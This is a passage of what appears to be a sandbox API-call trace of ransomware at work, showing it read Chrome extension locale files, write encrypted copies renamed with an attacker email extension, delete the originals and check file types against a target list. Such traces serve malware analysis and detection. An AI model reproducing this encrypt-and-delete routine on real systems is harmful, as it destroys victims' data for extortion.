Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.490] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json")) returned 1 [0179.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.490] lstrlenW (lpString=".doc") returned 4 [0179.490] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.490] lstrlenW (lpString=".docx") returned 5 [0179.490] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.490] lstrlenW (lpString=".pdf") returned 4 [0179.490] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.490] lstrlenW (lpString=".xls") returned 4 [0179.490] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.490] lstrlenW (lpString=".xlsx") returned 5 [0179.490] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.490] lstrlenW (lpString=".ppt") returned 4 [0179.490] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString=".zip") returned 4 [0179.491] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".rar") returned 4 [0179.491] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".bz2") returned 4 [0179.491] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".7z") returned 3 [0179.491] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString=".dbf") returned 4 [0179.491] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString=".1cd") returned 4 [0179.491] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString=".jpg") returned 4 [0179.491] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.491] lstrlenW (lpString=".doc") returned 4 [0179.491] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".docx") returned 5 [0179.491] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.491] lstrlenW (lpString=".pdf") returned 4 [0179.491] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".xls") returned 4 [0179.491] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.491] lstrlenW (lpString=".xlsx") returned 5 [0179.492] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.492] lstrlenW (lpString=".ppt") returned 4 [0179.492] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.492] lstrlenW (lpString=".zip") returned 4 [0179.492] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.492] lstrlenW (lpString=".rar") returned 4 [0179.492] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.492] lstrlenW (lpString=".bz2") returned 4 [0179.492] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.492] lstrlenW (lpString=".7z") returned 3 [0179.492] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.492] lstrlenW (lpString=".dbf") returned 4 [0179.492] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.492] lstrlenW (lpString=".1cd") returned 4 [0179.492] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 155 [0179.492] lstrlenW (lpString=".jpg") returned 4 [0179.492] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.492] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.492] lstrlenW (lpString="messages.json") returned 13 [0179.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.493] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=650) returned 1 [0179.493] CloseHandle (hObject=0x1ac) returned 1 [0179.493] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json")) returned 0x2020 [0179.493] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.493] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.493] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.494] GetLastError () returned 0x0 [0179.494] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x28a, lpOverlapped=0x0) returned 1 [0179.495] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x290, lpOverlapped=0x0) returned 1 [0179.496] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.496] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.496] SetEndOfFile (hFile=0x1a0) returned 1 [0179.496] CloseHandle (hObject=0x1a0) returned 1 [0179.497] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.497] SetEndOfFile (hFile=0x1ac) returned 1 [0179.497] CloseHandle (hObject=0x1ac) returned 1 [0179.497] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.498] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json")) returned 1 [0179.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.498] lstrlenW (lpString=".doc") returned 4 [0179.498] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.498] lstrlenW (lpString=".docx") returned 5 [0179.498] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.498] lstrlenW (lpString=".pdf") returned 4 [0179.498] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.498] lstrlenW (lpString=".xls") returned 4 [0179.498] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.498] lstrlenW (lpString=".xlsx") returned 5 [0179.498] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.498] lstrlenW (lpString=".ppt") returned 4 [0179.498] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.498] lstrlenW (lpString=".zip") returned 4 [0179.498] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.498] lstrlenW (lpString=".rar") returned 4 [0179.498] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.498] lstrlenW (lpString=".bz2") returned 4 [0179.499] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.499] lstrlenW (lpString=".7z") returned 3 [0179.499] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString=".dbf") returned 4 [0179.499] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString=".1cd") returned 4 [0179.499] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString=".jpg") returned 4 [0179.499] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString=".doc") returned 4 [0179.499] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.499] lstrlenW (lpString=".docx") returned 5 [0179.499] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.499] lstrlenW (lpString=".pdf") returned 4 [0179.499] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.499] lstrlenW (lpString=".xls") returned 4 [0179.499] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.499] lstrlenW (lpString=".xlsx") returned 5 [0179.499] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.499] lstrlenW (lpString=".ppt") returned 4 [0179.499] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.499] lstrlenW (lpString=".zip") returned 4 [0179.499] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.499] lstrlenW (lpString=".rar") returned 4 [0179.500] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.500] lstrlenW (lpString=".bz2") returned 4 [0179.500] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.500] lstrlenW (lpString=".7z") returned 3 [0179.500] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.500] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.500] lstrlenW (lpString=".dbf") returned 4 [0179.500] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.500] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.500] lstrlenW (lpString=".1cd") returned 4 [0179.500] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.500] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 155 [0179.500] lstrlenW (lpString=".jpg") returned 4 [0179.500] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.500] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.500] lstrlenW (lpString="messages.json") returned 13 [0179.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.501] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=789) returned 1 [0179.501] CloseHandle (hObject=0x1ac) returned 1 [0179.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json")) returned 0x2020 [0179.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.501] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.501] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.502] GetLastError () returned 0x0 [0179.502] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x315, lpOverlapped=0x0) returned 1 [0179.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x320, lpOverlapped=0x0) returned 1 [0179.504] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.504] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.505] SetEndOfFile (hFile=0x1a0) returned 1 [0179.505] CloseHandle (hObject=0x1a0) returned 1 [0179.505] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.505] SetEndOfFile (hFile=0x1ac) returned 1 [0179.506] CloseHandle (hObject=0x1ac) returned 1 [0179.506] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.506] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json")) returned 1 [0179.506] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.506] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.506] lstrlenW (lpString=".doc") returned 4 [0179.506] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.506] lstrlenW (lpString=".docx") returned 5 [0179.506] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.506] lstrlenW (lpString=".pdf") returned 4 [0179.506] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.506] lstrlenW (lpString=".xls") returned 4 [0179.506] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.506] lstrlenW (lpString=".xlsx") returned 5 [0179.506] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.506] lstrlenW (lpString=".ppt") returned 4 [0179.506] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.506] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.506] lstrlenW (lpString=".zip") returned 4 [0179.506] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.506] lstrlenW (lpString=".rar") returned 4 [0179.507] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.507] lstrlenW (lpString=".bz2") returned 4 [0179.507] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.507] lstrlenW (lpString=".7z") returned 3 [0179.507] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString=".dbf") returned 4 [0179.507] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString=".1cd") returned 4 [0179.507] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 155 [0179.507] lstrlenW (lpString=".jpg") returned 4 [0179.507] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.507] lstrlenW 